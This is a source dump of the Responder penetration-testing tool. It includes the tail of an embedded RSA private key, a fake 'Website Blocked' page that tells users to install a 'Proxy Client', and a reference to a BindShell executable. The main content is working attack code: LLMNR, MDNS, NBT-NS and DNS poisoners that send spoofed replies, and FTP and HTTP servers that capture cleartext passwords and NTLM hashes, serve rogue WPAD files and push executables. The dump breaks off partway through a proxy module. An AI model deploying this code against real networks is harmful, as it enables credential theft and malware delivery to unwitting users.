MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /files/AccessDenied.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Website Blocked: ISA Proxy Server 4 | 14 | 15 | 16 | 17 |
18 |
19 |
New Security Policy: Website Blocked
20 |
    21 |
    22 |
    23 |
  • Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
  • 24 |
    25 |
26 |
27 | 28 |
29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /files/BindShell.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SpiderLabs/Responder/c02c74853298ea52a2bfaa4d250c3898886a44ac/files/BindShell.exe -------------------------------------------------------------------------------- /fingerprint.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | 18 | import socket 19 | import struct 20 | 21 | from utils import color 22 | from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData 23 | 24 | def OsNameClientVersion(data): 25 | try: 26 | length = struct.unpack('i", len(''.join(Packet)))+Packet 45 | s.send(Buffer) 46 | data = s.recv(2048) 47 | 48 | if data[8:10] == "\x72\x00": 49 | Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") 50 | Body = SMBSessionFingerData() 51 | Body.calculate() 52 | 53 | Packet = str(Header)+str(Body) 54 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 55 | 56 | s.send(Buffer) 57 | data = s.recv(2048) 58 | 59 | if data[8:10] == "\x73\x16": 60 | return OsNameClientVersion(data) 61 | except: 62 | print color("[!] ", 1, 1) +" Fingerprint failed" 63 | return None 64 | -------------------------------------------------------------------------------- /odict.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from UserDict import DictMixin 18 | 19 | class OrderedDict(dict, DictMixin): 20 | 21 | def __init__(self, *args, **kwds): 22 | if len(args) > 1: 23 | raise TypeError('expected at most 1 arguments, got %d' % len(args)) 24 | try: 25 | self.__end 26 | except AttributeError: 27 | self.clear() 28 | self.update(*args, **kwds) 29 | 30 | def clear(self): 31 | self.__end = end = [] 32 | end += [None, end, end] 33 | self.__map = {} 34 | dict.clear(self) 35 | 36 | def __setitem__(self, key, value): 37 | if key not in self: 38 | end = self.__end 39 | curr = end[1] 40 | curr[2] = end[1] = self.__map[key] = [key, curr, end] 41 | dict.__setitem__(self, key, value) 42 | 43 | def __delitem__(self, key): 44 | dict.__delitem__(self, key) 45 | key, prev, next = self.__map.pop(key) 46 | prev[2] = next 47 | next[1] = prev 48 | 49 | def __iter__(self): 50 | end = self.__end 51 | curr = end[2] 52 | while curr is not end: 53 | yield curr[0] 54 | curr = curr[2] 55 | 56 | def __reversed__(self): 57 | end = self.__end 58 | curr = end[1] 59 | while curr is not end: 60 | yield curr[0] 61 | curr = curr[1] 62 | 63 | def popitem(self, last=True): 64 | if not self: 65 | raise KeyError('dictionary is empty') 66 | if last: 67 | key = reversed(self).next() 68 | else: 69 | key = iter(self).next() 70 | value = self.pop(key) 71 | return key, value 72 | 73 | def __reduce__(self): 74 | items = [[k, self[k]] for k in self] 75 | tmp = self.__map, self.__end 76 | del self.__map, self.__end 77 | inst_dict = vars(self).copy() 78 | self.__map, self.__end = tmp 79 | if inst_dict: 80 | return self.__class__, (items,), inst_dict 81 | return self.__class__, (items,) 82 | 83 | def keys(self): 84 | return list(self) 85 | 86 | setdefault = DictMixin.setdefault 87 | update = DictMixin.update 88 | pop = DictMixin.pop 89 | values = DictMixin.values 90 | items = DictMixin.items 91 | iterkeys = DictMixin.iterkeys 92 | itervalues = DictMixin.itervalues 93 | iteritems = DictMixin.iteritems 94 | 95 | def __repr__(self): 96 | if not self: 97 | return '%s()' % (self.__class__.__name__,) 98 | return '%s(%r)' % (self.__class__.__name__, self.items()) 99 | 100 | def copy(self): 101 | return self.__class__(self) 102 | 103 | @classmethod 104 | def fromkeys(cls, iterable, value=None): 105 | d = cls() 106 | for key in iterable: 107 | d[key] = value 108 | return d 109 | 110 | def __eq__(self, other): 111 | if isinstance(other, OrderedDict): 112 | return len(self)==len(other) and \ 113 | min(p==q for p, q in zip(self.items(), other.items())) 114 | return dict.__eq__(self, other) 115 | 116 | def __ne__(self, other): 117 | return not self == other 118 | -------------------------------------------------------------------------------- /poisoners/LLMNR.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import struct 18 | import fingerprint 19 | 20 | from packets import LLMNR_Ans 21 | from SocketServer import BaseRequestHandler 22 | from utils import * 23 | 24 | 25 | def Parse_LLMNR_Name(data): 26 | NameLen = struct.unpack('>B',data[12])[0] 27 | return data[13:13+NameLen] 28 | 29 | 30 | def IsICMPRedirectPlausible(IP): 31 | dnsip = [] 32 | for line in file('/etc/resolv.conf', 'r'): 33 | ip = line.split() 34 | if len(ip) < 2: 35 | continue 36 | elif ip[0] == 'nameserver': 37 | dnsip.extend(ip[1:]) 38 | for x in dnsip: 39 | if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: 40 | print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) 41 | print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) 42 | print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) 43 | 44 | if settings.Config.AnalyzeMode: 45 | IsICMPRedirectPlausible(settings.Config.Bind_To) 46 | 47 | 48 | class LLMNR(BaseRequestHandler): # LLMNR Server class 49 | def handle(self): 50 | data, soc = self.request 51 | Name = Parse_LLMNR_Name(data) 52 | 53 | # Break out if we don't want to respond to this host 54 | if RespondToThisHost(self.client_address[0], Name) is not True: 55 | return None 56 | 57 | if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): 58 | Finger = None 59 | if settings.Config.Finger_On_Off: 60 | Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) 61 | 62 | if settings.Config.AnalyzeMode: 63 | LineHeader = "[Analyze mode: LLMNR]" 64 | print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) 65 | else: # Poisoning Mode 66 | Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) 67 | Buffer.calculate() 68 | soc.sendto(str(Buffer), self.client_address) 69 | LineHeader = "[*] [LLMNR]" 70 | print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) 71 | 72 | if Finger is not None: 73 | print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) 74 | print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) 75 | -------------------------------------------------------------------------------- /poisoners/MDNS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import struct 18 | 19 | from SocketServer import BaseRequestHandler 20 | from packets import MDNS_Ans 21 | from utils import * 22 | 23 | def Parse_MDNS_Name(data): 24 | try: 25 | data = data[12:] 26 | NameLen = struct.unpack('>B',data[0])[0] 27 | Name = data[1:1+NameLen] 28 | NameLen_ = struct.unpack('>B',data[1+NameLen])[0] 29 | Name_ = data[1+NameLen:1+NameLen+NameLen_+1] 30 | return Name+'.'+Name_ 31 | except IndexError: 32 | return None 33 | 34 | 35 | def Poisoned_MDNS_Name(data): 36 | data = data[12:] 37 | return data[:len(data)-5] 38 | 39 | 40 | class MDNS(BaseRequestHandler): 41 | def handle(self): 42 | MADDR = "224.0.0.251" 43 | MPORT = 5353 44 | 45 | data, soc = self.request 46 | Request_Name = Parse_MDNS_Name(data) 47 | 48 | # Break out if we don't want to respond to this host 49 | if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): 50 | return None 51 | 52 | if settings.Config.AnalyzeMode: # Analyze Mode 53 | if Parse_IPV6_Addr(data): 54 | print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) 55 | else: # Poisoning Mode 56 | if Parse_IPV6_Addr(data): 57 | 58 | Poisoned_Name = Poisoned_MDNS_Name(data) 59 | Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To)) 60 | Buffer.calculate() 61 | soc.sendto(str(Buffer), (MADDR, MPORT)) 62 | 63 | print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) -------------------------------------------------------------------------------- /poisoners/NBTNS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | 18 | import fingerprint 19 | 20 | from packets import NBT_Ans 21 | from SocketServer import BaseRequestHandler 22 | from utils import * 23 | 24 | # Define what are we answering to. 25 | def Validate_NBT_NS(data): 26 | if settings.Config.AnalyzeMode: 27 | return False 28 | elif NBT_NS_Role(data[43:46]) == "File Server": 29 | return True 30 | elif settings.Config.NBTNSDomain: 31 | if NBT_NS_Role(data[43:46]) == "Domain Controller": 32 | return True 33 | elif settings.Config.Wredirect: 34 | if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": 35 | return True 36 | return False 37 | 38 | # NBT_NS Server class. 39 | class NBTNS(BaseRequestHandler): 40 | 41 | def handle(self): 42 | 43 | data, socket = self.request 44 | Name = Decode_Name(data[13:45]) 45 | 46 | # Break out if we don't want to respond to this host 47 | if RespondToThisHost(self.client_address[0], Name) is not True: 48 | return None 49 | 50 | if data[2:4] == "\x01\x10": 51 | Finger = None 52 | if settings.Config.Finger_On_Off: 53 | Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) 54 | 55 | if settings.Config.AnalyzeMode: # Analyze Mode 56 | LineHeader = "[Analyze mode: NBT-NS]" 57 | print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) 58 | else: # Poisoning Mode 59 | Buffer = NBT_Ans() 60 | Buffer.calculate(data) 61 | socket.sendto(str(Buffer), self.client_address) 62 | LineHeader = "[*] [NBT-NS]" 63 | 64 | print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) 65 | 66 | if Finger is not None: 67 | print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) 68 | print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) 69 | -------------------------------------------------------------------------------- /poisoners/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SpiderLabs/Responder/c02c74853298ea52a2bfaa4d250c3898886a44ac/poisoners/__init__.py -------------------------------------------------------------------------------- /servers/Browser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData 18 | from SocketServer import BaseRequestHandler 19 | from utils import * 20 | import struct 21 | 22 | 23 | def WorkstationFingerPrint(data): 24 | return { 25 | "\x04\x00" :"Windows 95", 26 | "\x04\x10" :"Windows 98", 27 | "\x04\x90" :"Windows ME", 28 | "\x05\x00" :"Windows 2000", 29 | "\x05\x01" :"Windows XP", 30 | "\x05\x02" :"Windows XP(64-Bit)/Windows 2003", 31 | "\x06\x00" :"Windows Vista/Server 2008", 32 | "\x06\x01" :"Windows 7/Server 2008R2", 33 | "\x06\x02" :"Windows 8/Server 2012", 34 | "\x06\x03" :"Windows 8.1/Server 2012R2", 35 | "\x10\x00" :"Windows 10/Server 2016", 36 | }.get(data, 'Unknown') 37 | 38 | 39 | def RequestType(data): 40 | return { 41 | "\x01": 'Host Announcement', 42 | "\x02": 'Request Announcement', 43 | "\x08": 'Browser Election', 44 | "\x09": 'Get Backup List Request', 45 | "\x0a": 'Get Backup List Response', 46 | "\x0b": 'Become Backup Browser', 47 | "\x0c": 'Domain/Workgroup Announcement', 48 | "\x0d": 'Master Announcement', 49 | "\x0e": 'Reset Browser State Announcement', 50 | "\x0f": 'Local Master Announcement', 51 | }.get(data, 'Unknown') 52 | 53 | 54 | def PrintServerName(data, entries): 55 | if entries <= 0: 56 | return None 57 | entrieslen = 26 * entries 58 | chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries 59 | ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] 60 | 61 | l = [] 62 | for x in ServerName: 63 | fingerprint = WorkstationFingerPrint(x[16:18]) 64 | name = x[:16].replace('\x00', '') 65 | l.append('%s (%s)' % (name, fingerprint)) 66 | return l 67 | 68 | 69 | def ParsePacket(Payload): 70 | PayloadOffset = struct.unpack('i", len(''.join(Packet))) + Packet 105 | 106 | s.send(Buffer) 107 | data = s.recv(1024) 108 | 109 | # Session Setup AndX Request, Anonymous. 110 | if data[8:10] == "\x72\x00": 111 | Header = SMBHeader(cmd="\x73",mid="\x02\x00") 112 | Body = SMBSessionData() 113 | Body.calculate() 114 | 115 | Packet = str(Header)+str(Body) 116 | Buffer = struct.pack(">i", len(''.join(Packet))) + Packet 117 | 118 | s.send(Buffer) 119 | data = s.recv(1024) 120 | 121 | # Tree Connect IPC$. 122 | if data[8:10] == "\x73\x00": 123 | Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00") 124 | Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") 125 | Body.calculate() 126 | 127 | Packet = str(Header)+str(Body) 128 | Buffer = struct.pack(">i", len(''.join(Packet))) + Packet 129 | 130 | s.send(Buffer) 131 | data = s.recv(1024) 132 | 133 | # Rap ServerEnum. 134 | if data[8:10] == "\x75\x00": 135 | Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00") 136 | Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain)) 137 | Body.calculate() 138 | 139 | Packet = str(Header)+str(Body) 140 | Buffer = struct.pack(">i", len(''.join(Packet))) + Packet 141 | 142 | s.send(Buffer) 143 | data = s.recv(64736) 144 | 145 | # Rap ServerEnum, Get answer and return what we're looking for. 146 | if data[8:10] == "\x25\x00": 147 | s.close() 148 | return ParsePacket(data) 149 | except: 150 | pass 151 | 152 | def BecomeBackup(data,Client): 153 | try: 154 | DataOffset = struct.unpack('. 17 | from packets import DNS_Ans 18 | from SocketServer import BaseRequestHandler 19 | from utils import * 20 | 21 | def ParseDNSType(data): 22 | QueryTypeClass = data[len(data)-4:] 23 | 24 | # If Type A, Class IN, then answer. 25 | return QueryTypeClass == "\x00\x01\x00\x01" 26 | 27 | 28 | 29 | class DNS(BaseRequestHandler): 30 | def handle(self): 31 | # Break out if we don't want to respond to this host 32 | if RespondToThisIP(self.client_address[0]) is not True: 33 | return None 34 | 35 | try: 36 | data, soc = self.request 37 | 38 | if ParseDNSType(data) and settings.Config.AnalyzeMode == False: 39 | buff = DNS_Ans() 40 | buff.calculate(data) 41 | soc.sendto(str(buff), self.client_address) 42 | 43 | ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) 44 | print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) 45 | 46 | except Exception: 47 | pass 48 | 49 | # DNS Server TCP Class 50 | class DNSTCP(BaseRequestHandler): 51 | def handle(self): 52 | # Break out if we don't want to respond to this host 53 | if RespondToThisIP(self.client_address[0]) is not True: 54 | return None 55 | 56 | try: 57 | data = self.request.recv(1024) 58 | 59 | if ParseDNSType(data) and settings.Config.AnalyzeMode is False: 60 | buff = DNS_Ans() 61 | buff.calculate(data) 62 | self.request.send(str(buff)) 63 | 64 | ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) 65 | print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) 66 | 67 | except Exception: 68 | pass -------------------------------------------------------------------------------- /servers/FTP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | 18 | from utils import * 19 | from SocketServer import BaseRequestHandler 20 | from packets import FTPPacket 21 | 22 | class FTP(BaseRequestHandler): 23 | def handle(self): 24 | try: 25 | self.request.send(str(FTPPacket())) 26 | data = self.request.recv(1024) 27 | 28 | if data[0:4] == "USER": 29 | User = data[5:].strip() 30 | 31 | Packet = FTPPacket(Code="331",Message="User name okay, need password.") 32 | self.request.send(str(Packet)) 33 | data = self.request.recv(1024) 34 | 35 | if data[0:4] == "PASS": 36 | Pass = data[5:].strip() 37 | 38 | Packet = FTPPacket(Code="530",Message="User not logged in.") 39 | self.request.send(str(Packet)) 40 | data = self.request.recv(1024) 41 | 42 | SaveToDb({ 43 | 'module': 'FTP', 44 | 'type': 'Cleartext', 45 | 'client': self.client_address[0], 46 | 'user': User, 47 | 'cleartext': Pass, 48 | 'fullhash': User + ':' + Pass 49 | }) 50 | 51 | else: 52 | Packet = FTPPacket(Code="502",Message="Command not implemented.") 53 | self.request.send(str(Packet)) 54 | data = self.request.recv(1024) 55 | 56 | except Exception: 57 | pass -------------------------------------------------------------------------------- /servers/HTTP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | 18 | from SocketServer import BaseRequestHandler, StreamRequestHandler 19 | from base64 import b64decode 20 | import struct 21 | from utils import * 22 | 23 | from packets import NTLM_Challenge 24 | from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans 25 | from packets import WPADScript, ServeExeFile, ServeHtmlFile 26 | 27 | 28 | # Parse NTLMv1/v2 hash. 29 | def ParseHTTPHash(data, client): 30 | LMhashLen = struct.unpack(' 24: 59 | NthashLen = 64 60 | DomainLen = struct.unpack(' 1 and settings.Config.Verbose: 84 | print text("[HTTP] Cookie : %s " % Cookie) 85 | return Cookie 86 | return False 87 | 88 | def GrabHost(data, host): 89 | Host = re.search(r'(Host:*.\=*)[^\r\n]*', data) 90 | 91 | if Host: 92 | Host = Host.group(0).replace('Host: ', '') 93 | if settings.Config.Verbose: 94 | print text("[HTTP] Host : %s " % color(Host, 3)) 95 | return Host 96 | return False 97 | 98 | def GrabReferer(data, host): 99 | Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data) 100 | 101 | if Referer: 102 | Referer = Referer.group(0).replace('Referer: ', '') 103 | if settings.Config.Verbose: 104 | print text("[HTTP] Referer : %s " % color(Referer, 3)) 105 | return Referer 106 | return False 107 | 108 | def WpadCustom(data, client): 109 | Wpad = re.search(r'(/wpad.dat|/*\.pac)', data) 110 | if Wpad: 111 | Buffer = WPADScript(Payload=settings.Config.WPAD_Script) 112 | Buffer.calculate() 113 | return str(Buffer) 114 | return False 115 | 116 | def ServeFile(Filename): 117 | with open (Filename, "rb") as bk: 118 | return bk.read() 119 | 120 | def RespondWithFile(client, filename, dlname=None): 121 | 122 | if filename.endswith('.exe'): 123 | Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname) 124 | else: 125 | Buffer = ServeHtmlFile(Payload = ServeFile(filename)) 126 | 127 | Buffer.calculate() 128 | print text("[HTTP] Sending file %s to %s" % (filename, client)) 129 | 130 | return str(Buffer) 131 | 132 | def GrabURL(data, host): 133 | GET = re.findall(r'(?<=GET )[^HTTP]*', data) 134 | POST = re.findall(r'(?<=POST )[^HTTP]*', data) 135 | POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data) 136 | 137 | if GET and settings.Config.Verbose: 138 | print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) 139 | 140 | if POST and settings.Config.Verbose: 141 | print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) 142 | if len(''.join(POSTDATA)) > 2: 143 | print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) 144 | 145 | # Handle HTTP packet sequence. 146 | def PacketSequence(data, client): 147 | NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) 148 | Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) 149 | 150 | # Serve the .exe if needed 151 | if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)): 152 | return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) 153 | 154 | # Serve the custom HTML if needed 155 | if settings.Config.Serve_Html: 156 | return RespondWithFile(client, settings.Config.Html_Filename) 157 | 158 | WPAD_Custom = WpadCustom(data, client) 159 | 160 | if NTLM_Auth: 161 | Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] 162 | 163 | if Packet_NTLM == "\x01": 164 | GrabURL(data, client) 165 | GrabReferer(data, client) 166 | GrabHost(data, client) 167 | GrabCookie(data, client) 168 | 169 | Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge) 170 | Buffer.calculate() 171 | 172 | Buffer_Ans = IIS_NTLM_Challenge_Ans() 173 | Buffer_Ans.calculate(str(Buffer)) 174 | 175 | return str(Buffer_Ans) 176 | 177 | if Packet_NTLM == "\x03": 178 | NTLM_Auth = b64decode(''.join(NTLM_Auth)) 179 | ParseHTTPHash(NTLM_Auth, client) 180 | 181 | if settings.Config.Force_WPAD_Auth and WPAD_Custom: 182 | print text("[HTTP] WPAD (auth) file sent to %s" % client) 183 | return WPAD_Custom 184 | else: 185 | Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) 186 | Buffer.calculate() 187 | return str(Buffer) 188 | 189 | elif Basic_Auth: 190 | ClearText_Auth = b64decode(''.join(Basic_Auth)) 191 | 192 | GrabURL(data, client) 193 | GrabReferer(data, client) 194 | GrabHost(data, client) 195 | GrabCookie(data, client) 196 | 197 | SaveToDb({ 198 | 'module': 'HTTP', 199 | 'type': 'Basic', 200 | 'client': client, 201 | 'user': ClearText_Auth.split(':')[0], 202 | 'cleartext': ClearText_Auth.split(':')[1], 203 | }) 204 | 205 | if settings.Config.Force_WPAD_Auth and WPAD_Custom: 206 | if settings.Config.Verbose: 207 | print text("[HTTP] WPAD (auth) file sent to %s" % client) 208 | return WPAD_Custom 209 | else: 210 | Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) 211 | Buffer.calculate() 212 | return str(Buffer) 213 | else: 214 | if settings.Config.Basic: 215 | Response = IIS_Basic_401_Ans() 216 | if settings.Config.Verbose: 217 | print text("[HTTP] Sending BASIC authentication request to %s" % client) 218 | else: 219 | Response = IIS_Auth_401_Ans() 220 | if settings.Config.Verbose: 221 | print text("[HTTP] Sending NTLM authentication request to %s" % client) 222 | return str(Response) 223 | 224 | # HTTP Server class 225 | class HTTP(BaseRequestHandler): 226 | def handle(self): 227 | try: 228 | while True: 229 | self.request.settimeout(1) 230 | data = self.request.recv(8092) 231 | Buffer = WpadCustom(data, self.client_address[0]) 232 | 233 | if Buffer and settings.Config.Force_WPAD_Auth == False: 234 | self.request.send(Buffer) 235 | if settings.Config.Verbose: 236 | print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) 237 | 238 | else: 239 | Buffer = PacketSequence(data,self.client_address[0]) 240 | self.request.send(Buffer) 241 | except socket.error: 242 | pass 243 | 244 | # HTTPS Server class 245 | class HTTPS(StreamRequestHandler): 246 | def setup(self): 247 | self.exchange = self.request 248 | self.rfile = socket._fileobject(self.request, "rb", self.rbufsize) 249 | self.wfile = socket._fileobject(self.request, "wb", self.wbufsize) 250 | 251 | def handle(self): 252 | try: 253 | while True: 254 | data = self.exchange.recv(8092) 255 | self.exchange.settimeout(0.5) 256 | Buffer = WpadCustom(data,self.client_address[0]) 257 | 258 | if Buffer and settings.Config.Force_WPAD_Auth == False: 259 | self.exchange.send(Buffer) 260 | if settings.Config.Verbose: 261 | print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) 262 | 263 | else: 264 | Buffer = PacketSequence(data,self.client_address[0]) 265 | self.exchange.send(Buffer) 266 | except: 267 | pass 268 | 269 | -------------------------------------------------------------------------------- /servers/HTTP_Proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import urlparse 18 | import select 19 | import zlib 20 | import BaseHTTPServer 21 | 22 | from servers.HTTP import RespondWithFile 23 | from utils import * 24 | 25 | IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ] 26 | 27 | def InjectData(data, client, req_uri): 28 | 29 | # Serve the .exe if needed 30 | if settings.Config.Serve_Always: 31 | return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) 32 | 33 | # Serve the .exe if needed and client requested a .exe 34 | if 